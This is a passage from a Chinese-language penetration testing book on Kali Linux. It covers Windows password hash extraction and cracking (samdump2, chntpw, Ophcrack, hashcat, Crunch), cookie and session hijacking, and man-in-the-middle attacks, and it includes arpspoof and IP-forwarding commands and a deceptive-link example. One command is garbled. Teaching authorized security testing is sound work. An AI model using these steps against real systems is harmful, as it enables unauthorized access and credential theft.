 标签则会指定Johnny以何种方式运行，如下图所示。


 默认的John the Ripper的路径设置不一定正确。为了保险起见，你最好验证一下Settings
 中的John the Ripper路径。在早期的BackTrack版本中，我们发现必须手动将此路径改为/pentest/passwords/john/john。Kali 1.0默认的路径是/user/sbin/john。





Output
 标签显示的是Johnny正在攻击的目标。在这里你还能看到攻击会话中的错误消息和状态更新。下面的例子显示的是一条状态消息，表明Johnny正在识别密码的哈希类型。




John the Ripper和它的GUI前端——Johnny——的默认单词列表非常有限。我们推荐用更大的列表，你可以在线搜索找到。要使用定制的单词列表，跳到Options
 标签，然后选择Wordlist mode
 。浏览到你期望的定制单词列表，点击Apply
 。




随着破解密码的进行，Johnny会逐渐填充用户名一列旁边的密码单元格。下面的截图显示三个密码中的两个已经被破解了。






4.6.2　hashcat和oclHashcat







hashcat
 和oclHashcat
 是密码破解工具。oclHashcat是基于GPGPU的版本。hashcat/oclHashcat工具都是多线程工具。它们可以在单个攻击会话中并行处理多个哈希和密码列表。hashcat/oclHashcat工具提供了多个攻击选项，比如暴力破解、密码合成、字典、混合、掩码和基于规则的攻击。

BackTrack在Privilege Escalation
 > Password Attacks
 > Offline Attacks
 下面提供了多个版本的hashcat。“ocl”，或者叫“open cl”（开源cl），是指统一Nvidia和ATI的GPU驱动的开放实现。有些版本在更新BackTrack后就无法工作了，所以你可能需要从www.hashcat.net
 下载安装最新的版本。

要使用hashcat，打开hashcat应用，或是浏览Password Attacks
 > Offline Attacks
 > hashcat
 即可。

要针对某个文档运行hashcat，你可以输入hashcat [选项] 哈希文件名 [单词文件|目录]。下面的例子演示了hashcat
 在针对shadow文件运行单词列表中的单词：




hashcat还会提供给一个GUI，它可以用作命令行版本的前端。有些人会偏好使用图形化界面，因为使用起来方便，在下方的窗口还能显示命令行代码。






4.6.3　samdump2




samdump2
 是一个用来转存微软的Windows中密码哈希的SAM文件的工具，这样密码就可以用离线工具进行破解。对于较新版本的Windows，你可能需要借助其他工具来抓取SYSKEY
 （启动密文）文件，进而访问存在SAM数据库中的哈希。

samdump2位于Password Attacks
 > Offline Attacks
 > samdump2
 。当你启动samdump
 时，它会弹出一个终端窗口。




你必须先挂载目标Windows系统，这样samdump
 才能访问SAM文件。




下一步，将SAM文件和SYSKEY文件复制到你的攻击目录中。



cp SAM SYSTEM /root/AttackDirectory







切换到攻击目录，调用bkhive SYSTEM bootkey命令来获得启动密文。将启动密文复制到一个文本文件中，这样samdump就拿到了带有启动密文的SAM文件。



cd /root/AttackDirectory /*> windowshashfiles.txt







运行命令samdump SAM bootkey
 命令，将输出复制到另一个文本文件中。



Samdump2 SAM bootkey > windowshashfiles2.txt







现在你可以用密码破解工具如John the Ripper来破解这些哈希了。



4.6.4　chntpw




chntpw
 是Kali Linux、BackTrack和其他Linux发行版中带有的一个工具。可以用它重置Windows 8或早期Windows版本中的本地密码，也可以用它修改Windows的密码数据库。不过，主要是用于在不知道密码的情况下侵入Windows系统。

要使用chntpw
 ，需要用Kali Live CD启动Windows机器。你可以从http://www.kali.org/downloads/
 下载Kali Linux的ISO映像文件。

将ISO文件烧录至CD中，用此Live CD启动Windows机器。在Kali的启动菜单上，选择Forensics
 选项。




SAM文件通常位于/Windows/System32/config目录中。你需要在终端中切换到此目录。在你的系统上，情况可能是这样的：



/media/hda1/Windows/System32/config










每个系统都有轻微的区别。在这个例子中，Kali看起来是将我的硬盘的序列号用作了设备位置地址。这是因为我已经用Kali Live CD启动了一个Windows 7虚拟机。SAM数据库通常位于/media/硬盘名称/Windows/System32/config。

下面的截图列出了我的硬盘上的SAM数据库文件：




命令chntpw -l SAM会列出Windows系统中含有的所有用户名。下面的截图显示的是运行了chntpw -l SAM命令的输出结果：




该命令输出了系统中的用户名列表，当我们有要修改的用户名时，我们可以运行命令chntpw -u "用户名" SAM
 。

在这个例子中，我们输入了chntpw -u "Administrator" SAM
 ，然后看到了如下菜单：




我们还可以选择清除密码、修改密码或是将用户提升为管理员。但是在Windows 7上，修改密码并非总能起作用，所以我们建议使用清除密码。这么操作的话，你可以用一个空密码登录到目标系统。

要访问chntpw，浏览Password Attacks
 > Offline Attacks
 > chntpw
 。它会打开一个终端窗口，显示chntpw
 的欢迎界面。chntpw有若干种用法，如主启动界面所描述：




要使用交互模式，输入chntpw -i和SAM文件的路径。如果目标是一个挂载的系统，你需要指定SAM文件在挂载目录中的位置。

它会弹出一个菜单，提供若干种修改SAM文件的选项。你可以选择选项1来清除密码。






4.6.5　Ophcrack




Ophcrack
 是一个机遇彩虹表的Windows密码破解器。Kali提供了一个命令行版本和一个图形化界面版本。Ophcrack可以从多种格式中导入哈希，包括直接从Windows的SAM文件中直接转存。下面的截图显示的是可以加载到Ophcrack中的几种格式：




Ophcrack自带了彩虹表，如下面的例子中所示。我们建议加载最新的彩虹表，而不是用默认的。

彩虹表可以从在线资源中下载，比如开发者网站http://ophcrack.sourceforge.net/tables.php
 。




要访问ophcrack
 ，浏览Password Attacks
 > Offline Attacks
 ，并选择命令行或GUI版本。点击Load
 ，选择你要破解的文件的路径（例如Windows的SAM文件）。




在这个例子中，我们是在Windows机器上使用Kali的ISO文件，并以取证（Forensics）
 模式启动。我们浏览到/windows/system32/config目录以获取SAM数据库。你可以在本书第7章-防御对策
 中了解更多有关使用Kali Linux的取证
 模式的内容。你也可以直接将SAM数据库的离线版本跟Kali一起使用。




你应该能看到哈希和用户名、用户ID是在一起。点击Crack
 按钮，等待破解后的密码出现。






4.6.6　Crunch




Crunch
 是一个用来生成密码列表的工具。如果你能够收集到有关目标如何创建密码的情报的信息，那么这个工具会非常有用。举个例子，如果你抓取了两个密码并观察到目标都是用一个短语后跟随机数字来作为密码，那么Crunch可以用来快速生成那个短语后跟所有可能的随机数字的密码列表。




Crunch有一些特殊标记字符，可以翻译成如下：




	@：插入小写字符；

	%：插入数字；

	,：插入大写字符；

	^：插入符号。



举个例子，假定我们已经知道目标在密码中用pass后跟两个不确定的字符。为了针对六位字符密码运行Crunch，我们会先让pass后跟两位不确定的数字。可用%%来代表任意数字。运行这个命令，并将输出放到一个名为newpasswordlist.txt的文本文件中，可用如下示例输入：




输出的文本文件含有所有可能的数字组合。下面的截图演示了输出文件的首部：




为了添加所有小写字母到pass后面，我们可以用crunch 6 6 -t pass后跟@@来代表所有小写字母，如下面的截图所示：




现在文本文件中的密码组合都是pass后跟小写字母和数字了，如下面的截图所示：







4.7　Kali中的其他可用工具



在Kali中还有其他有用的工具。我们只介绍其中能帮忙危害主机系统、获取Web应用服务器的访问权限的工具。Kali中还有一些其他密码破解工具没有加到这个列表中；不过，对这些工具的介绍不会在这里展开。



4.7.1　Hash-identifier




Hash-identifier（哈希识别工具）
 是一个用来识别哈希类型的基于Python的工具。大多数密码破解工具如John the Ripper都自带了一个哈希类型自动检测函数，这类函数都非常好用，在90%的情况系都是精确的。而这个工具可以用来手动验证某个哈希类型。要使用Hash-identifier，可以运行这个工具，并粘贴你要识别的哈希。

下面的截图显示的是针对某个哈希的输出：






4.7.2　dictstat




dictstat
 是一个用来进行密码破解结果分析或常规单词列表分析的Python脚本工具。dictstat
 会分析结果，并生成用于屏蔽暴力破解中已经破解了的密码组合的掩码。它可以为一次破解更多密码提供一定的线索。当目标为使用同一密码策略的公司时，这种方法很好用。下面的截图显示的是dictstat
 工具的主界面：




要运行dictstat
 ，输入dictstat [选项] passwords.txt
 。下面的截图显示的是使用dictstat
 的例子：






4.7.3　RainbowCrack（rcracki_mt）




RainbowCrack
 是一个哈希破解程序，它会生成用于密码破解的彩虹表。RainbowCrack
 跟标准的暴力破解方法有所不同，它使用大量的预计算好的表来减少破解密码需要的时间。RainbowCrack
 工具已经有点年代了，不过，现在依然可以有大量免费的彩虹表可供下载，比如www.freerainbowtables.com
 。下面的截图显示的是RainbowCrack
 的主界面：






4.7.4　findmyhash




findmyhash
 是一个用免费的在线服务来破解密码的Python脚本工具。在使用此工具时，你必须先连到因特网。下面的截图显示的是findmyhash
 在向多个网站进行MD5哈希的查询。






4.7.5　phrasendrescher




phrasendrescher
 是一个模块化的多线程密码短语破解工具。phrasendrescher
 自带了很多插件，同时还提供给了支持新插件开发的API。



4.7.6　CmosPwd




CmosPwd
 用来破解基本输入输出系统（BIOS,Basic Input/Output System）
 的密码。Cmospwd
 允许你擦除/清理、备份和恢复CMOS。



4.7.7 creddump




creddump
 是一个Python工具，用来从Windows的注册表中提取各种凭据和密码。creddump
 可以提取LM和NT哈希（SYSKEY保护的）、缓存的域密码和LSA密码。




4.8　小结



主机系统是访问Web应用的授权来源。侵入已授权的主机可以让渗透测试人员拿到访问目标Web应用的授权凭据。这点有时会在对Web应用进行渗透测试时被忽视。

本章介绍了用来获得主机系统非授权访问权限的各种方法，着重介绍了使用社会工程方法、找出带有未修复漏洞的主机以及破解密码。市面上关于侵入主机系统的书已经不少了。读者可以将本章内容跟本书其他章的内容一起使用，这样更有效。我们将本章的内容限制在攻击能够访问Web应用的目标主机。

下一章将会介绍如何攻击主机跟Web应用之间进行身份认证的方式。

 




第 5 章　身份认证攻击



身份认证是确认信任某人的身份。它的含义可能会包含确认某个人、某个应用或是某个硬件的身份，比如验证Joseph Muniz
 是政府雇员，以及他的笔记本电脑是由政府机构颁发的。作为渗透测试人员，通过已授权的实体获得系统的信任、绕过安全认证部分非常有用。

注册信息系统安全师（CISSP，Certified Information System Security Professional）课程中将身份认证按三个因子归类如下：




	你知道的，比如PIN或密码；

	你拥有的，比如智能卡；

	你是谁，比如指纹。



最常用的确认身份的方法是通过人们知道的内容，比如密码。第4章
 介绍了攻击主机系统时各种破解密码的方法。你能够通过破解密码获得一些系统的访问权限，不过许多系统都使用了多个因子的身份认证，也就是说证明某人身份时需要多个认证步骤。

常见的用户身份认证方式中包括组合使用用户名和密码。如果某个用户每次要进行身份认证时都要输入这部分信息，那会非常麻烦。为了解决这个问题，人们发明了单点登录（Single Sign-on），即由某个集中式授权机构对某人进行身份认证，而其他站点都会信任这个身份。集中式授权机构会代表用户或设备验证信任，所以用户可以访问多个安全的系统，而不必在每个安全入口都输入一次密码。Windows的域控制器就是一个常见的受信任的授权机构，它为内部用户访问内网资源提供着身份认证功能。在这些例子中，以较高权限侵入受信任的授权机构或账户可能意味着具备了访问许多其他这类系统上的内部资源的权限。

许多政府机构都会将个人身份验证（PIV，Personal Identity Verification）
 或通用访问卡（Command Access Card，CAC）
 
1

 和密码一起搭配使用，这样就满足了用户拥有和用户知道的双重条件。远程工作人员通常会用数字令牌（Digital Token），它会过几秒钟就生成一个新的数字，并跟PIN一起使用，代表他们拥有和他们知道的双重条件。高安全要求的物理位置可能会要求指纹扫描外加PIN来访问。网络访问控制技术可以验证用户对笔记本有何权限，并在提供网络资源前先找出隐藏的证书来验证系统和用户的身份。对于渗透测试人员来说，关键是在侦察阶段找出目标使用的身份认证方法，这样你才能规划出绕过信任的合适策略。



1

 PIV是美国联邦政府在FIPS 201标准中对联邦政府雇员和承包商要求的智能卡。CAC是美国国防部用来进行多重身份验证的智能卡。通用访问卡作为标准认证发行，可以认证现役军人、后备军人、文职雇员、非国防部雇员、国民警卫队的工薪阶层和合格的承包商人员。加上它作为身份证的功能，访问政府建筑和计算机网络时需要出示通用访问卡。——译者注





本章重点介绍用户和设备如何通过Web应用进行身份认证，目标是可以利用目标的信任。首先，我们介绍攻击管理身份认证会话的过程，也就是客户端和服务器建立信任的过程。之后，我们会重点关注客户端，攻击点是主机系统是如何通过cookie管理来存储数据。接着，我们会着重关注使用中间人攻击达到隐藏在客户端和服务器之间的目的。最后一部分内容是通过SQL和跨站脚本攻击（XSS，Cross-Site Scripting）找出和利用Web应用接受身份认证过程中的薄弱环节。




5.1　攻击会话管理



身份认证和会话管理涵盖了处理用户身份认证和管理活动会话的方方面面。对Web应用来说，会话就是用户在某个网站上花费的时间。最佳实践是基于用户和设备是如何通过身份认证的来管理已通过身份认证的会话（也就是，允许你访问哪些资源），同时要控制活动会话期间哪些资源可用、能用多久。这使得身份认证成为管理授权会话的关键过程。

渗透测试人员的目标是找出具有高权限的允许访问特定资源的账户，并且访问Web应用的时间不受限制。这也是为什么要创建会话管理的安全功能，如会话超时时间和SSL证书，的主要原因。不管怎么说，Kali中带有的工具可以找出会话管理中的漏洞，比如截获Web应用中发送用户退出登录请求的活动会话，然后将那个会话给另外一个人用。这种攻击也称为会话固定攻击（session fixation attack）。

会话管理攻击可能会出现在利用了应用中的漏洞或是用户如何访问这些应用和进行身份验证的过程中的漏洞时。攻击者攻击的常见方式是对Web服务器进行跨站脚本攻击或是SQL注入攻击，本章后面将会介绍。攻击者还可能会利用浏览器中的会话cookie，或是网页中的漏洞来达到类似的结果。让我们先看个通过修改超链接和iFrame来欺骗用户泄漏敏感信息或是将用户自己暴露在攻击下的技术。



点击劫持



点击劫持（clickjacking）是欺骗用户点击其他东西而不是他们认为正在点击的东西的一种技术。点击劫持可用来显示机密信息，比如登录凭据，也可以用来帮助黑客控制受害者电脑。点击劫持通常会通过嵌入受害者不知情的代码或脚本来揭露Web浏览器的安全问题或是漏洞。执行点击劫持的一个例子是将超链接文本指向一个受信站点（如IE中的可信站点）而非真实的站点。普通用户并不会在点击前验证超链接，或是注意到跟常见的点击劫持意图相关的变更，这使得点击劫持成为非常有效的攻击形式。

在下面的例子中，用户会看到Visit us on Facebook.com（访问我们的Facebook主页）
 链接，但当他们点击该链接时，实际上会被重定向到www.badfacebook.com
 。



<a href="http://www.badfacebook.com">Visit us on Facebook.com</a>







点击劫持的危害性可能会更大更复杂，而不只是修改超链接这么简单。一般使用点击劫持的攻击者会在网页中嵌入iFrame。iFrame的内容会包含从目标网站上获取的数据，并且通常会放到合法的链接上面，使得它很难被发现。

要制作你自己的点击劫持攻击，你可以用Paul Stone
 开发的点击劫持工具，你可以从http://www.contextis.com/research/tools/clickjacking-tool/
 下载。




下载好该工具后，你可以用它来从另外一个网站上获取代码，比如投票按钮或喜欢按钮。这个点击劫持工具可以跟Firefox 3.6搭配使用。Paul Stone
 的工具没法跟更新版本的Firefox一起使用，不过，你可以在Kali工具集中运行多个版本的Firefox，包括Firefox 3.6或更早的版本。


 网站代码会经常改变，所以确保调整了你的攻击代码，使其跟镜像的受信站点能够一起工作。




5.2　劫持Web会话的cookie



Cookie是从网站发出来的小块信息块，在用户访问网站时存储到用户的Web浏览器中。网站可以用cookie来验证该用户是不是再次访问该站点，并且可以取回用户之前活动的详细信息。这些信息包括网页是如何被访问的、用户是如何登录的，以及用户点击了哪些按钮。不管你什么时候登录网站，比如Facebook、Gmail或是Wordpress，浏览器都会给你分配一个cookie。

cookie可以包含用户长期的跟踪历史，甚至可以记录在某个网站上多年前的行为。cookie也可以用来存储用户之前输入的密码和表单值，比如他们的家庭住址或信用卡号。这对于期望为用户提供尽可能简单的用户体验的商业网站——如零售——来说非常有用。只要客户端主机进行身份验证，会话令牌就会从服务器上分发到主机上。会话令牌可以用作识别不同链接的途径。会话劫持发生在攻击者截获了会话令牌，并将它注入到他们自己的浏览器中以获得受害者的已通过身份认证的会话。总的说来，它是将攻击者的未通过验证的cookie替换为受害者的已通过验证的cookie的过程。

会话劫持攻击也有一些限制。




	如果目标是通过https://来浏览，并且启用了端到端加密，那么窃取cookie是没用的。虽然https的推广进程缓慢，不过大多数的安全网站都提供了这种防御来对付会话劫持攻击。
 你可以将SSLstrip用作发动会话劫持或其他攻击前防止你的目标完成https链接的一种方法。有关SSLstrip的更多信息，可以参考第3章
 的内容。



	当目标登出某个会话时，许多cookie都会失效。这也会激昂攻击者的会话登出。对有些用到不会过期的cookie的移动应用来说，这是个问题。它意味着只要攻击者截获了一个有效的会话令牌，他就永远有访问权限。



许多网站不支持并发登录，这使得窃来的cookie很难使用。




5.3　Web会话工具



下一节我们会介绍用来对Web会话进行渗透测试的工具。有些工具在Kali 1.0中还没有，但你可以在线获取。



5.3.1　Firefox插件



人工进行会话劫持的方法是窃取受害者的已通过身份认证的cookie。其中一种方式是向已被侵入的Web应用服务器注入一个脚本，这样可以在用户毫不知情的情况下截获cookie。从这里开始，攻击者就能够拿到已认证cookie，并用cookie注入工具来用窃取的已认证cookie来替换攻击者的cookie。其他用于窃取cookie的方法还包括数据包嗅探（Packet Sniffing）、网络数据和攻击主机。在本书后面的章节中，我们会介绍和窃取cookie相关的内容。

Firefox浏览器提供了许多可以用来将窃取的cookie注入到攻击者浏览器的插件。其中一些例子包括GreaseMonkey、Cookies Manager和Firesheep。我们建议读者通过浏览Firefox的插件商店来找寻满足渗透测试需要的各种cookie管理工具。


 Kali Linux 1.0中并未默认安装Firefox和所有相关插件。



5.3.2　Firesheep（Firefox插件）



Firesheep是一个典型的用于对Web会话进行审计的渗透测试工具。Firesheep是Firefox的一个扩展，不过，有些版本跟Firefox的最近几个版本不太兼容。Firesheep充当着数据包在网络上传送时拦截网站未加密的cookie的数据包嗅探器的角色。


 Firefox Firesheep插件官方支持的是Windows版本和Mac版本，这使其在Linux上操作起来略显笨拙。通过一些定制动作，我们可以让Firesheep在Linux环境中的可操作性更强。不过，我们建议大家使用更主流的工具。



5.3.3　Web Developer（Firefox插件）



Web Developer是一款为Web开发者提供了编辑和调试功能的Firefox扩展。Web Developer可以从Firefox的插件市场免费下载。Web Developer中对会话劫持很有用的功能是编辑cookie。安装好Web Developer之后，你可以从Firefox浏览器的一个下拉选单中看到。如下面的截图所示：




选择View Cookie Information
 ，你能看到已经保存的cookie。你可以点击Edit Cookie
 来调起cookie编辑器，用窃来的受害者的cookie替换当前cookie。






5.3.4　GreaseMonkey（Firefox插件）






GreaseMonkey是一款Firefox插件，它允许用户安装脚本在页面加载前和加载后直接修改Web页面的内容。GreaseMonkey可以用来定制Web页面的外观、Web功能、调试，合并其他页面的数据，以及其他用途。其他有些工具也会依赖GreaseMonkey来正常工作，比如Cookie Injector。



5.3.5　Cookie Injector（Firefox插件）



Cookie Injector是一个用户脚本，用于简化篡改浏览器cookie的过程。将Wireshark一类工具中抓取的cookie导入到浏览器中需要很多人工步骤。Cookie Injector允许用户从转存中直接复制粘贴cookie部分，这样就能在当前浏览的Web页面中自动生成转存中的cookie。


 你必须在使用Cookie Injector脚本之前先安装GreaseMonkey。

要安装Cookie Injector，你可以在谷歌中搜索Cookie Injector来找到下载该脚本的链接。在你选择下载Cookie Injector时，GreaseMonkey会弹出来，提示你已经确认安装了。




安装好Cookie Injector脚本后，按下Alt+C来显示cookie对话框。将复制好的Wireshark字符串粘贴到输入框中，点击OK来将cookie注入到当前页面。你可以参考5.3.8节的内容了解如何在Wireshark中通过Copy、Bytes并选择Printable Text Only
 来为Cookie Injector复制cookie。下面两个截图显示的是按下Alt+C、粘贴Wireshark Cookie Dump
 并点击OK
 ，然后弹出框说明截获的cookie已被成功写入Web浏览器的情形。


 




5.3.6　Cookies Manager+（Firefox插件）



Cookies Manager+是一个用于查看、编辑和创建cookie的工具。Cookies Manager+会显示有关cookie的详细信息，并支持批量编辑cookie。Cookies Manager+也可以用于备份和还原cookie。你也可以从Firefox插件商店下载Cookies Manager+。

安装好之后，你可以在Tools
 中选择Cookies Manager+
 来访问该工具。




Cookies Manager+会显示Firefox截获的所有cookie。你可以通过向下滚动或是搜索特定cookie来查看和/或编辑。在下面的例子中，我在查找所有跟www.thesecurityblogger.com
 关联的cookie。




Cookies Manager+使得编辑已有cookie非常容易。这有助于进行各种类型的攻击，比如会话劫持和SQL注入。






5.3.7　Cookie Cadger






Cookie Cadger是一个用于对Web会话进行审计的渗透测试工具。Cookie Cadger支持截获详细的HTTP请求并回放非安全的HTTP GET请求，比如请求的资源、用户代理、网站来路和基本认证。Cookie Cadger可以提供针对Wi-Fi和有线网络的实时分析，以及加载数据包捕捉文件（PCAP）的功能。Cookie Cadger还提供了会话检测功能来判断用户是否已经登录了站点，如Wordpress和Facebook。有些人也会将Cookie Cadger当做Firesheep的替代品。


 Kali 1.0中没有带Cookie Cadger。

Cookie Cadger可以从www.cookiecadger.com
 下载。下载文件是个JAR文件。双击文件打开Cookie Cadger。它会弹出个警告来询问你是否要启用会话检测功能。点击Yes
 ，就会弹出主界面。下面两个截图显示的是Cookie Cadger 1.0 JAR文件弹出的警告消息窗口和主界面。







要启动，选择相应的界面，点击Start Capture
 。如果有多个网卡，Cookie Cadger还提供了多个网卡抓包的功能。

Cookie Cadger可以枚举可用网络中发现的所有设备。举个例子，下面截图显示的是一台使用Firefox和Iceweasel的Linux i686主机。




Cookie Cadger检测到的最新事件的各个字段会以蓝色文本显示。你可以查看主机正在浏览内容的详情，比如netbios名称和主机名。你可以将请求复制到剪贴板并导出信息，如用户信息和MAC地址等。各部分都具备过滤器标签，用来缩小特定目标的范围（举个例子，只查看Facebook域名）。

只要Cookie Cadger识别出一个登录会话，它就会截获会话，并提供了加载会话的功能。下一个截图显示的是截获的管理员登录到www.thesecurityblogger.com
 的会话。Cookie Cadger会显示一个图标，并解释截获的会话类型。它可能是Hotmail、Facebook，或是本例中所示的，Wordpress的登录。




要查看已经识别的会话，点击名为Recognized Sessions
 的标签，从窗口中选择一个会话，如前面的截图中所示。一量高亮显示，就点击Load Selected Session
 按钮来重放会话。Cookie Cadger会在底部窗口中显示加载过程，它还会打开一个浏览器并以截获的会话中的用户身份登录。下面的截图显示的是打开截获的受害者的一个域cookie。完成加载后，它会用默认的Web浏览器以跟窃取的cookie关联的权限打开截获的页面。




要查看会话的请求信息，右击已抓取的会话图标，选择View Associated Request
 。它会将你带回Requests
 标签，并显示该会话。



5.3.8　Wireshark






Wireshark是最流行的免费开源网络协议分析工具之一。Wireshark已在Kali中预装，是理想的网络问题排查和分析工具。在本章中，它是用作监测发自潜在目标来截获会话令牌的最佳工具。Wireshark使用GTK+组件工具集来实现它的用户界面，用pcap来进行包抓取。它跟tcpdump
 命令的工作原理非常类似，不过它的作用是带有集成的排序和过滤功能的图形化前端。

Wireshark可以在Sniffing/Spoofing
 > Network Sniffers
 > Wireshark
 中找到，或是在Top 10 Security Tools
 分类中找到。




要开始抓取网络上的包，选择Capture
 标签和Interfaces
 。你能够看到用以抓包的网卡。在这个例子中，我要点击eth0
 旁边的勾选框并选择Start
 来选择eth0
 进行抓包。


 如果你抓包用的网卡不支持混杂模式或是你的操作系统无法启用该网卡的混杂模式，那么你可能无法看到任何包。有关不同抓包模式和问题排查的更多信息可以在www.wireshark.org
 上找到。




Wireshark会截获线上的所有网络数据。网络数据可以通过在过滤字段输入特定内容或是在上部的表（如协议或目的地）中调整数据的组织形式来进行过滤。




Wireshark抓取了大量的细节信息，所以过滤出特定内容很重要，比如不安全的cookie（如http.cookie）的参数。举个例子，Gmail默认是加密的，不过，你可以关闭https并找出http.cookie中包含的GX参数来识别不安全的Gmail cookie。下面的截图显示的是从登录Wordpress blog过程中截获的cookie：




完成截获非安全的cookie后，你必须使用其他工具来将它注入到你的浏览器中，以完成会话劫持。选取受害者的cookie，右击该行，选择Copy
 > Bytes
 > Printable Text Only
 。现在，你可以将其粘贴到cookie注入工具中，比如Firefox的插件Cookie Injector。查看Firefox插件下的Cookie Injector来完成会话劫持攻击。


 你必须同时安装GreaseMonkey和Cookie Injector来复制/粘贴到Firefox浏览器。

有许多有用的工具支持Wireshark的抓包数据和简化找到的数据。举个例子，NetWitness Investigator可以从www.emc.com
 免费下载。



5.3.9　Hamster和Ferret



Hamster是一款用于通过HTTP会话劫持窃取cookie的工具，它使用的是被动嗅探，也称为旁路劫持（sidejacking）。Hamster会窃听网络上的数据，抓取所有可见的会话cookie，然后将窃取的cookie导入到浏览器的GUI环境中，这样攻击者就能回放该会话。Hamster使用Ferret来抓取会话cookie。

Hamster可以通过浏览Sniffing/Spoofing
 > Web Sniffers
 ，选取Hamster
 来启动。

在启动Hamster时，它会打开一个终端窗口来启动Hamster服务。默认的代理IP是127.0.0.1:1234。




你可以通过打开一个浏览器并将其指向http://127.0.0.1:1234来访问Hamster。




网络数据要完成它的功能必须流经Hamster。你可以选择点击适配器链接来选择要使用的网卡。举个例子，这里我要监测的是eth0
 。




Hamster会将你重定向到一个劫持活动页面。你会注意到你并没有收到任何数据包。Hamster需要一个嗅探器来抓取网络数据。你可以通过浏览Sniffing/Spoofing
 > Web Sniffers
 并选择Ferret
 来使用Ferret。它会打开一个终端窗口，并显示一些选项。输入“ferret -i ”网卡名来选择要用Ferret进行嗅探的网卡。Ferret会告诉你它正在嗅探，该命令行提示符会悬停在运行状态。在你查看网络数据的同时，在Ferret中抓取的网络数据包会显示为文本。




Ferret运行起来后，浏览回Hamster，你应该开始查看数据包了。网络上的所有目标都会显示出来。点击你要查看的目标来查看截获的cookie。




点击任意cookie来访问截获的cookie。在这个例子中，我回放的是访问www.thesecurityblogger.com
 。






5.3.10　中间人攻击（MITM）



中间人攻击是主动窃听的一种形式。其中攻击者会跟受害者建立一个连接，并在受害者之间中转消息，使他们以为他们正在直接跟对方对话。这类攻击有许多形式，比如使用Hak5的菠萝型无线路由器并将其伪装成可信的无线网络接入点，而实际上扮演的是受害者和无线网络之间的中间人。另一个例子是使用Kali来在受害者和默认路由器之间转发网络数据，而同时嗅探着有用信息，比如登录凭据。


 许多云服务比如Facebook和Gmail都通过HTTPS来实施安全登录，这能够防止普通的中间人攻击。要绕过HTTPS，你可以使用SSLstrip工具。它能够显示所有可用于你的中间人攻击的登录信息。SSLstrip/中间人攻击组合是窃取受害者登录凭据的一个非常有效的方法，如果你有跟目标系统处于同一网络中的攻击系统的话。



5.3.11　dsniff和arpspoof



dsniff是一组密码嗅探和网络数据分析工具，用于解析不同的应用协议和提取相关信息。arpspoof用于帮助攻击者向本地网络发送伪造的地址解析协议
 （ARP，Address Resolution Protocol）消息。这么做的目的是要将攻击者的MAC地址和其他主机的IP地址关联起来，从而将发往该IP地址的网络数据都发送给攻击者。

一个人工进行中间人攻击的方法是将arpspoof和dsniff用在系统间。第一步是用第2章
 中介绍的技术找出受害者的IP地址和网络的默认网关。找出IP地址后，你需要告诉受害者你真的是另一个系统或是默认网关。举个例子，如果受害者一的IP是172.16.76.128，默认网关是172.16.76.2，攻击者是172.16.76.131，你应该用arpspoof命令将你那个为131的IP地址设置得看起来像是受害者的和默认网关的。

打开两个终端窗口，在每个窗口中输入如下命令来欺骗受害者：

终端一：



arpspoof -t 172.16.76.128 172.16.76.2  // 告诉受害者2你就是默认网关







终端二：

arpspoof -t 172.16.76.2 172.16.76.128 // 告诉受害者1你就是默认网关
2





2

 此处的代码原注释有问题。它将两条命令都解释为将本机扮演成默认网关的角色。实际上它是一边扮演默认网关的形象，一边扮演另一台主机的形象。——译者注





如果正确输入了命令，你应该能看到网络数据正在通过攻击系统回放。这些网络数据不是直接跟受害者交互，所以这时受害者不会发现数据流出了网络。要完成攻击，你需要启用IP转发功能，这样网络数据会继续从默认网关流向受害者，反之亦然；虽然攻击者已经在观察受害者和默认网关之间的网络数据了。

打开第三个终端窗口，输入：



echo 1> /proc/sys/net/ipv4/ip_forward










此刻，网络数据应该已经能在流经攻击者系统的同时在受害者和默认网关之间流动了。下面的截图显示的是在没有启用IP转发时ping回显失败的情况。




下一步，启动dsniff来观察网络数据。dsniff可以通过浏览Sniffing/Spoofing
 > Network Sniffers
 并选择dsniff
 找到。它会打开一个终端窗口，显示dsniff
 的用法，如下面的截图所示：




要启动dsniff
 ,输入dsniff
 命令并用-i
 后跟网卡来选定嗅探用的网卡。举个例子，我输入了如下图所示的dsniff
 来嗅探eth0
 上的所有网络数据：




dsniff会截获所有的登录信息。举个例子，如果受害者是通过FTP登录到系统上的，该会话一结束，你就能看到登录的尝试和凭据信息，因为dsniff需要看到完整的会话。






5.3.12　Ettercap






Ettercap是一个用于基于中间人方式的攻击的免费的开源综合工具套件。

Ettercap可用于计算机网络协议分析和安全审计，它的功能有嗅探活动的连接、内容过滤，以及对多种协议的主动和被动解析的支持。Ettercap通过将攻击者的网卡置入混杂模式以及对受害者的机器进行ARP污染来工作。

要启动Ettercap，浏览到Sniffing/Spoofing
 > Network Sniffers
 ，并选择Ettercap图形
 。




第一步是选择打算用于嗅探的网卡。切换到Sniff
 标签，选择嗅探类型（Unified sniffing
 或Bridged sniffing
 ）和你打算用于嗅探的网卡。







现在，Ettercap会显示更多菜单选项，如下面的截图所示：




我们先来对网络扫描一下可用的主机。切换到Hosts
 界面，选择Scan for hosts
 。Ettercap会快速扫描整个C类网络，并列出所有找出的主机。通常，路由器是第一个找到的主机。下面的截图显示的是在某次扫描中发现的四台设备。




在本例中，我们找到了四台设备。我们假设.1那个IP对应的是路由器，而且我们要针对的受害者机器的IP是.128。我们将路由器选作目标1，受害者.128选作目标2。这会将我们的系统放在受害者和路由器的中间，整个都是经典的中间人攻击形式。选择每个目标，点击对应的勾选框，你可以切换到Targets
 页面并选择Current Targets
 来验证目标。




下一步，让我们来看一下在Mitm
 下面的中间人选项。这里还有Arp poisoning...
 、ICMP redirect...
 、Port stealing...
 和Dhcp spoofing...
 等选项。举个例子，我们选择了Arp poisoning...
 选项，并选用了Sniff remote connections
 参数。







现在，我们可以抓取路由器和受害者机器之间的网络数据了。我们感兴趣的信息，比如用户名和密码信息等，可以被截获并显示在执行窗口汇中。



5.3.13　Driftnet



Driftnet是一款用于从活动的网络数据中抓取图片的中间人工具。Driftnet要求在一切工作之前先建立一个中间人攻击。你可以在启动Driftnet之前，利用前面介绍的arpspoof和dsniff或是Ettercap方法来启动中间人攻击。Driftnet可以同时并行运行多个，以便快速呈现线上数据中的所有图片。

Driftnet可以在Sniffing/Spoofing
 > Web Sniffers
 中选择Driftnet
 。Driftnet会以终端形式打开并显示如何使用该工具的帮助信息。你需要指定你想用哪个网卡来嗅探数据以及你想将截获的图片用作什么用途。举个例子，你可以选择用-b
 选项来为每个图片发出一声哔哔的声音，或是将图片显示在终端屏幕上，或是将截获的图片发送到某个目录。下面提供的截图显示的是从eth0
